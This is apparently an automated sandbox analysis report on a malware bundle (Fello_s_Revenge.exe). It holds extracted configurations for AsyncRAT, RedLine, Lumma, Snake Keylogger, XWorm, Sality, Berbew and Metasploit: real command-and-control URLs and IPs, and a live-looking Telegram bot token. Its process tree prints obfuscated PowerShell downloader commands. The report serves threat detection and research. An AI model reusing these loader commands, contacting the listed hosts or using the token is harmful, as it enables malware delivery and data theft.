asyncrat | d5395f121277d2b38f4173c7df0a20a3de99edfcfe2aa697080cc81170eb76ab

Resubmissions

11/03/2025, 00:00

250311-aaawtasr13 5

10/03/2025, 21:57

09/03/2025, 01:58

08/03/2025, 06:55

08/03/2025, 04:53

Analysis

max time kernel
0s
max time network
46s
platform
windows11-21h2_x64
resource
win11-20250217-en
resource tags

arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system
submitted
10/03/2025, 21:57

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

My-Skidded-malwares-main/Fello_s_Revenge.exe
Size

18.4MB
MD5

f8e1d9b436b1d95231ae33b44c6f165c
SHA1

bd4a588b9bbcd346fd0e4818da382ca241104d17
SHA256

23a6dc4cce379f0d6a85e0b2b09e66d0d0f370e9d610a84aa1810aab605a3976
SHA512

963f3ca6370d36d54d9034000e33198e9cfa8d54f7c70cf67e0e9be246a30bbd2db5f927c9dbb5edfebab3e255ece6023d3a2ed72715d1842519a9d2ff45a7f6
SSDEEP

393216:XpkQrjxkZI7X/exB5l7qqd6DqhDzeozX5dpYeewDuBnkeKyN:Xrr1kTz7qqAGdzpdFynkeKyN

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

metasploit

Version

windows/download_exec

http://49.235.129.88:80/UaAe

Attributes

headers User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MASP)

Extracted

Family

berbew

http://crutop.nu/index.php

http://devx.nm.ru/index.php

http://ros-neftbank.ru/index.php

http://master-x.com/index.php

http://www.redline.ru/index.php

http://cvv.ru/index.php

http://hackers.lv/index.php

http://fethard.biz/index.php

http://crutop.ru/index.php

http://kaspersky.ru/index.php

http://color-bank.ru/index.php

http://adult-empire.com/index.php

http://virus-list.com/index.php

http://trojan.ru/index.php

http://xware.cjb.net/index.htm

http://konfiskat.org/index.htm

http://parex-bank.ru/index.htm

http://fethard.biz/index.htm

http://ldark.nm.ru/index.htm

http://gaz-prom.ru/index.htm

Extracted

Family

redline

185.196.9.26:6302

Extracted

Family

lumma

https://tryyudjasudqo.shop/api

https://eemmbryequo.shop/api

https://reggwardssdqw.shop/api

https://relaxatinownio.shop/api

https://tesecuuweqo.shop/api

https://tendencctywop.shop/api

https://licenseodqwmqn.shop/api

https://keennylrwmqlw.shop/api

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7148398804:AAESLKl9fVODMrpM8H4Wkq1Zbm-83PcMLro/sendMessage?chat_id=2135869667

Extracted

Family

xworm

Attributes

install_file
USB.exe
pastebin_url
https://pastebin.com/raw/0GcVDftp

Extracted

Family

sality

http://89.119.67.154/testo5/

http://kukutrustnet777.info/home.gif

http://kukutrustnet888.info/home.gif

http://kukutrustnet987.info/home.gif

http://www.klkjwre9fqwieluoi.info/

http://kukutrustnet777888.info/

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

127.0.0.1:51848

otherwise-puzzle.gl.at.ply.gg:51848

Mutex

qsSOINsibBjw

Attributes

delay
3
install
true
install_file
dwn.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
Berbew
Berbew is a backdoor written in C++.
backdoor berbew
Berbew family
berbew

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral11/memory/2720-438-0x0000000000430000-0x0000000000446000-memory.dmp	family_xworm
behavioral11/files/0x001900000002af31-331.dat	family_xworm

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Metasploit family
metasploit
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral11/memory/5048-667-0x0000000000400000-0x0000000000452000-memory.dmp	family_redline

Redline family
redline
Sality
Sality is backdoor written in C++, first discovered in 2003.
backdoor sality
Sality family
sality
Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral11/memory/6000-550-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral11/files/0x001900000002af26-238.dat	family_asyncrat

CryptOne packer 1 IoCs

Detects CryptOne packer defined in NCC blogpost.

cryptone packer

resource	yara_rule
behavioral11/files/0x001900000002af25-253.dat	cryptone

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6772	powershell.exe
6108	powershell.exe
2020	powershell.exe
3136	powershell.exe

Uses the VBS compiler for execution 1 TTPs

Command and Scripting Interpreter
T1059

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	pastebin.com
18	pastebin.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	reallyfreegeoip.org
22	reallyfreegeoip.org
2	checkip.dyndns.org

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral11/memory/3928-548-0x0000000000400000-0x00000000004CA000-memory.dmp	autoit_exe
behavioral11/memory/3928-654-0x0000000000400000-0x00000000004CA000-memory.dmp	autoit_exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral11/files/0x001c00000002af54-509.dat	upx
behavioral11/memory/3928-548-0x0000000000400000-0x00000000004CA000-memory.dmp	upx
behavioral11/memory/3928-654-0x0000000000400000-0x00000000004CA000-memory.dmp	upx
behavioral11/memory/2948-280-0x0000000002740000-0x00000000037CE000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
5280	msiexec.exe

Program crash 1 IoCs

pid	pid_target	Process
3684	1560	WerFault.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fello_s_Revenge.exe

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral11/files/0x001900000002af23-246.dat	nsis_installer_1
behavioral11/files/0x001900000002af23-246.dat	nsis_installer_2

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
5316	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6560	schtasks.exe
2712	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Fello_s_Revenge.exe
"C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Fello_s_Revenge.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:1384
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAaQB6ACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHQAagBsACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAWQBPAFUAJwAnAFIARQAgAEMATwBPAEsARQBEACAATwBOAEMARQAgAEEARwBBAEkATgAgAEIAWQAgAEYANdhs3DXYKd012CndbwAgAEwATQBBAE8AIQAhACcALAAnACcALAAnAE8ASwAnACwAJwBFAHIAcgBvAHIAJwApADwAIwBzAHUAZgAjAD4A"
  2⤵
  PID:348
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAbQB0ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAbABsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHgAcwB5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHUAcwBxACMAPgA="
  2⤵
  PID:2200
- C:\Users\Admin\AppData\Local\Temp\0d4c465488b6f5f760e98a15d77da181419223fdd93915e0fb90646c645b7766.exe
  "C:\Users\Admin\AppData\Local\Temp\0d4c465488b6f5f760e98a15d77da181419223fdd93915e0fb90646c645b7766.exe"
  2⤵
  PID:4968
- C:\Users\Admin\AppData\Local\Temp\5fd43ae47a37af3f2975e4a9c5bb91ccbf1556e07e98ba91ba0ff25ab3a2b91f.exe
  "C:\Users\Admin\AppData\Local\Temp\5fd43ae47a37af3f2975e4a9c5bb91ccbf1556e07e98ba91ba0ff25ab3a2b91f.exe"
  2⤵
  PID:3556
- - C:\Users\Admin\AppData\Roaming\Morfey.EXE
    C:\Users\Admin\AppData\Roaming\Morfey.EXE
    3⤵
    PID:3248
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c grw.vbs
      4⤵
      PID:3092
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\grw.vbs"
        5⤵
        
        PID:6012
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#HM#a#Bp#GU#b#Bk#GE#Z#Bh#HM#LwBn#HM#Z#Bn#Gg#agBq#C8#Z#Bv#Hc#bgBs#G8#YQBk#HM#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#MQ#4#DE#MQ#3#DM#NQ#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBT#HU#YgBz#HQ#cgBp#G4#Zw#o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##s#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#QwBv#G4#dgBl#HI#d#Bd#Do#OgBG#HI#bwBt#EI#YQBz#GU#Ng#0#FM#d#By#Gk#bgBn#Cg#J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#Ck#Ow#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBS#GU#ZgBs#GU#YwB0#Gk#bwBu#C4#QQBz#HM#ZQBt#GI#b#B5#F0#Og#6#Ew#bwBh#GQ#K##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#Ck#Ow#g#CQ#d#B5#H##ZQ#g#D0#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#u#Ec#ZQB0#FQ#eQBw#GU#K##n#HQ#ZQBz#HQ#c#Bv#Hc#ZQBy#HM#a#Bl#Gw#b##u#Eg#bwBt#GU#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#bQBl#HQ#a#Bv#GQ#I##9#C##J#B0#Hk#c#Bl#C4#RwBl#HQ#TQBl#HQ#a#Bv#GQ#K##n#Gw#YQ#n#Ck#LgBJ#G4#dgBv#Gs#ZQ#o#CQ#bgB1#Gw#b##s#C##WwBv#GI#agBl#GM#d#Bb#F0#XQ#g#Cg#JwB0#Hg#d##u#DY#MQBl#HM#LwBz#GQ#YQBv#Gw#bgB3#G8#Z##v#Hc#cQB0#HI#ZQB0#HI#ZQ#v#Gs#cgB1#HI#ZQBt#Gw#dQBy#C8#ZwBy#G8#LgB0#GU#awBj#HU#YgB0#Gk#Yg#v#C8#OgBz#H##d#B0#Gg#Jw#s#C##Jw#w#Cc#L##g#Cc#UwB0#GE#cgB0#HU#c#BO#GE#bQBl#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#w#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('#','A') ));powershell.exe $OWjuxDutionpolicy bypass -Noprofile -command $OWjuxD"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3136
- C:\Users\Admin\AppData\Local\Temp\016da9d36c37374be6d7e43e162fd9a5c64e0c465b4cecdb50a02c7b119f64b0.exe
  "C:\Users\Admin\AppData\Local\Temp\016da9d36c37374be6d7e43e162fd9a5c64e0c465b4cecdb50a02c7b119f64b0.exe"
  2⤵
  PID:2552
- - C:\Windows\SysWOW64\Pcobaedj.exe
    C:\Windows\system32\Pcobaedj.exe
    3⤵
    PID:764
  - - C:\Windows\SysWOW64\Pemomqcn.exe
      C:\Windows\system32\Pemomqcn.exe
      4⤵
      PID:3636
    - - C:\Windows\SysWOW64\Qofcff32.exe
        
        C:\Windows\system32\Qofcff32.exe
        5⤵
        
        PID:2476
      - C:\Windows\SysWOW64\Qepkbpak.exe
        
        C:\Windows\system32\Qepkbpak.exe
        6⤵
        
        PID:2440
        
        C:\Windows\SysWOW64\Qljcoj32.exe
        
        C:\Windows\system32\Qljcoj32.exe
        7⤵
        
        PID:1464
        
        C:\Windows\SysWOW64\Qaflgago.exe
        
        C:\Windows\system32\Qaflgago.exe
        8⤵
        
        PID:4208
        
        C:\Windows\SysWOW64\Akoqpg32.exe
        
        C:\Windows\system32\Akoqpg32.exe
        9⤵
        
        PID:4908
        
        C:\Windows\SysWOW64\Ajpqnneo.exe
        
        C:\Windows\system32\Ajpqnneo.exe
        10⤵
        
        PID:2144
        
        C:\Windows\SysWOW64\Aomifecf.exe
        
        C:\Windows\system32\Aomifecf.exe
        11⤵
        
        PID:2304
        
        C:\Windows\SysWOW64\Ackbmcjl.exe
        
        C:\Windows\system32\Ackbmcjl.exe
        12⤵
        
        PID:3740
        
        C:\Windows\SysWOW64\Akffafgg.exe
        
        C:\Windows\system32\Akffafgg.exe
        13⤵
        
        PID:3080
        
        C:\Windows\SysWOW64\Bkoigdom.exe
        
        C:\Windows\system32\Bkoigdom.exe
        14⤵
        
        PID:3508
        
        C:\Windows\SysWOW64\Bjbfklei.exe
        
        C:\Windows\system32\Bjbfklei.exe
        15⤵
        
        PID:3440
        
        C:\Windows\SysWOW64\Ckmehb32.exe
        
        C:\Windows\system32\Ckmehb32.exe
        16⤵
        
        PID:4904
        
        C:\Windows\SysWOW64\Dfefkkqp.exe
        
        C:\Windows\system32\Dfefkkqp.exe
        17⤵
        
        PID:4316
        
        C:\Windows\SysWOW64\Dlkbjqgm.exe
        
        C:\Windows\system32\Dlkbjqgm.exe
        18⤵
        
        PID:5328
        
        C:\Windows\SysWOW64\Ejfeng32.exe
        
        C:\Windows\system32\Ejfeng32.exe
        19⤵
        
        PID:5688
        
        C:\Windows\SysWOW64\Fpejlmcf.exe
        
        C:\Windows\system32\Fpejlmcf.exe
        20⤵
        
        PID:5748
        
        C:\Windows\SysWOW64\Fjmkoeqi.exe
        
        C:\Windows\system32\Fjmkoeqi.exe
        21⤵
        
        PID:5872
        
        C:\Windows\SysWOW64\Gfkbde32.exe
        
        C:\Windows\system32\Gfkbde32.exe
        22⤵
        
        PID:6132
        
        C:\Windows\SysWOW64\Gljgbllj.exe
        
        C:\Windows\system32\Gljgbllj.exe
        23⤵
        
        PID:3760
        
        C:\Windows\SysWOW64\Hmnmgnoh.exe
        
        C:\Windows\system32\Hmnmgnoh.exe
        24⤵
        
        PID:1484
        
        C:\Windows\SysWOW64\Higjaoci.exe
        
        C:\Windows\system32\Higjaoci.exe
        25⤵
        
        PID:428
        
        C:\Windows\SysWOW64\Ilmmni32.exe
        
        C:\Windows\system32\Ilmmni32.exe
        26⤵
        
        PID:5472
        
        C:\Windows\SysWOW64\Icknfcol.exe
        
        C:\Windows\system32\Icknfcol.exe
        27⤵
        
        PID:1064
        
        C:\Windows\SysWOW64\Jpaleglc.exe
        
        C:\Windows\system32\Jpaleglc.exe
        28⤵
        
        PID:5680
        
        C:\Windows\SysWOW64\Jcbdgb32.exe
        
        C:\Windows\system32\Jcbdgb32.exe
        29⤵
        
        PID:5880
        
        C:\Windows\SysWOW64\Jqhafffk.exe
        
        C:\Windows\system32\Jqhafffk.exe
        30⤵
        
        PID:3620
        
        C:\Windows\SysWOW64\Jdfjld32.exe
        
        C:\Windows\system32\Jdfjld32.exe
        31⤵
        
        PID:2936
        
        C:\Windows\SysWOW64\Kdigadjo.exe
        
        C:\Windows\system32\Kdigadjo.exe
        32⤵
        
        PID:1096
        
        C:\Windows\SysWOW64\Kmdlffhj.exe
        
        C:\Windows\system32\Kmdlffhj.exe
        33⤵
        
        PID:3320
        
        C:\Windows\SysWOW64\Kglmio32.exe
        
        C:\Windows\system32\Kglmio32.exe
        34⤵
        
        PID:5340
        
        C:\Windows\SysWOW64\Kjmfjj32.exe
        
        C:\Windows\system32\Kjmfjj32.exe
        35⤵
        
        PID:5132
        
        C:\Windows\SysWOW64\Lqkgbcff.exe
        
        C:\Windows\system32\Lqkgbcff.exe
        36⤵
        
        PID:5984
        
        C:\Windows\SysWOW64\Lclpdncg.exe
        
        C:\Windows\system32\Lclpdncg.exe
        37⤵
        
        PID:4744
        
        C:\Windows\SysWOW64\Mnkggfkb.exe
        
        C:\Windows\system32\Mnkggfkb.exe
        38⤵
        
        PID:6020
        
        C:\Windows\SysWOW64\Mmpdhboj.exe
        
        C:\Windows\system32\Mmpdhboj.exe
        39⤵
        
        PID:5704
        
        C:\Windows\SysWOW64\Nghekkmn.exe
        
        C:\Windows\system32\Nghekkmn.exe
        40⤵
        
        PID:5260
        
        C:\Windows\SysWOW64\Nmenca32.exe
        
        C:\Windows\system32\Nmenca32.exe
        41⤵
        
        PID:4996
        
        C:\Windows\SysWOW64\Nlfnaicd.exe
        
        C:\Windows\system32\Nlfnaicd.exe
        42⤵
        
        PID:5804
        
        C:\Windows\SysWOW64\Nhmofj32.exe
        
        C:\Windows\system32\Nhmofj32.exe
        43⤵
        
        PID:4836
        
        C:\Windows\SysWOW64\Nnicid32.exe
        
        C:\Windows\system32\Nnicid32.exe
        44⤵
        
        PID:2548
        
        C:\Windows\SysWOW64\Njpdnedf.exe
        
        C:\Windows\system32\Njpdnedf.exe
        45⤵
        
        PID:6192
        
        C:\Windows\SysWOW64\Ojdnid32.exe
        
        C:\Windows\system32\Ojdnid32.exe
        46⤵
        
        PID:6424
        
        C:\Windows\SysWOW64\Odalmibl.exe
        
        C:\Windows\system32\Odalmibl.exe
        47⤵
        
        PID:6620
        
        C:\Windows\SysWOW64\Oogpjbbb.exe
        
        C:\Windows\system32\Oogpjbbb.exe
        48⤵
        
        PID:6700
        
        C:\Windows\SysWOW64\Pahilmoc.exe
        
        C:\Windows\system32\Pahilmoc.exe
        49⤵
        
        PID:6976
        
        C:\Windows\SysWOW64\Poliea32.exe
        
        C:\Windows\system32\Poliea32.exe
        50⤵
        
        PID:7084
        
        C:\Windows\SysWOW64\Pefabkej.exe
        
        C:\Windows\system32\Pefabkej.exe
        51⤵
        
        PID:7144
        
        C:\Windows\SysWOW64\Paoollik.exe
        
        C:\Windows\system32\Paoollik.exe
        52⤵
        
        PID:6396
        
        C:\Windows\SysWOW64\Pkgcea32.exe
        
        C:\Windows\system32\Pkgcea32.exe
        53⤵
        
        PID:6456
        
        C:\Windows\SysWOW64\Qkipkani.exe
        
        C:\Windows\system32\Qkipkani.exe
        54⤵
        
        PID:4204
        
        C:\Windows\SysWOW64\Qhmqdemc.exe
        
        C:\Windows\system32\Qhmqdemc.exe
        55⤵
        
        PID:6788
        
        C:\Windows\SysWOW64\Alkijdci.exe
        
        C:\Windows\system32\Alkijdci.exe
        56⤵
        
        PID:6948
        
        C:\Windows\SysWOW64\Alnfpcag.exe
        
        C:\Windows\system32\Alnfpcag.exe
        57⤵
        
        PID:6964
        
        C:\Windows\SysWOW64\Alpbecod.exe
        
        C:\Windows\system32\Alpbecod.exe
        58⤵
        
        PID:6080
        
        C:\Windows\SysWOW64\Anaomkdb.exe
        
        C:\Windows\system32\Anaomkdb.exe
        59⤵
        
        PID:7152
        
        C:\Windows\SysWOW64\Adkgje32.exe
        
        C:\Windows\system32\Adkgje32.exe
        60⤵
        
        PID:1904
        
        C:\Windows\SysWOW64\Aaohcj32.exe
        
        C:\Windows\system32\Aaohcj32.exe
        61⤵
        
        PID:6684
        
        C:\Windows\SysWOW64\Baadiiif.exe
        
        C:\Windows\system32\Baadiiif.exe
        62⤵
        
        PID:6584
        
        C:\Windows\SysWOW64\Bafndi32.exe
        
        C:\Windows\system32\Bafndi32.exe
        63⤵
        
        PID:7080
        
        C:\Windows\SysWOW64\Bdgged32.exe
        
        C:\Windows\system32\Bdgged32.exe
        64⤵
        
        PID:6276
        
        C:\Windows\SysWOW64\Bakgoh32.exe
        
        C:\Windows\system32\Bakgoh32.exe
        65⤵
        
        PID:6292
        
        C:\Windows\SysWOW64\Cfipef32.exe
        
        C:\Windows\system32\Cfipef32.exe
        66⤵
        
        PID:6780
        
        C:\Windows\SysWOW64\Ckeimm32.exe
        
        C:\Windows\system32\Ckeimm32.exe
        67⤵
        
        PID:6188
        
        C:\Windows\SysWOW64\Cnindhpg.exe
        
        C:\Windows\system32\Cnindhpg.exe
        68⤵
        
        PID:4192
        
        C:\Windows\SysWOW64\Dokgdkeh.exe
        
        C:\Windows\system32\Dokgdkeh.exe
        69⤵
        
        PID:5720
        
        C:\Windows\SysWOW64\Dheibpje.exe
        
        C:\Windows\system32\Dheibpje.exe
        70⤵
        
        PID:1832
        
        C:\Windows\SysWOW64\Dbnmke32.exe
        
        C:\Windows\system32\Dbnmke32.exe
        71⤵
        
        PID:5740
        
        C:\Windows\SysWOW64\Dkfadkgf.exe
        
        C:\Windows\system32\Dkfadkgf.exe
        72⤵
        
        PID:5012
        
        C:\Windows\SysWOW64\Dijbno32.exe
        
        C:\Windows\system32\Dijbno32.exe
        73⤵
        
        PID:6752
        
        C:\Windows\SysWOW64\Dkhnjk32.exe
        
        C:\Windows\system32\Dkhnjk32.exe
        74⤵
        
        PID:6252
        
        C:\Windows\SysWOW64\Emhkdmlg.exe
        
        C:\Windows\system32\Emhkdmlg.exe
        75⤵
        
        PID:2688
        
        C:\Windows\SysWOW64\Emjgim32.exe
        
        C:\Windows\system32\Emjgim32.exe
        76⤵
        
        PID:7384
        
        C:\Windows\SysWOW64\Emmdom32.exe
        
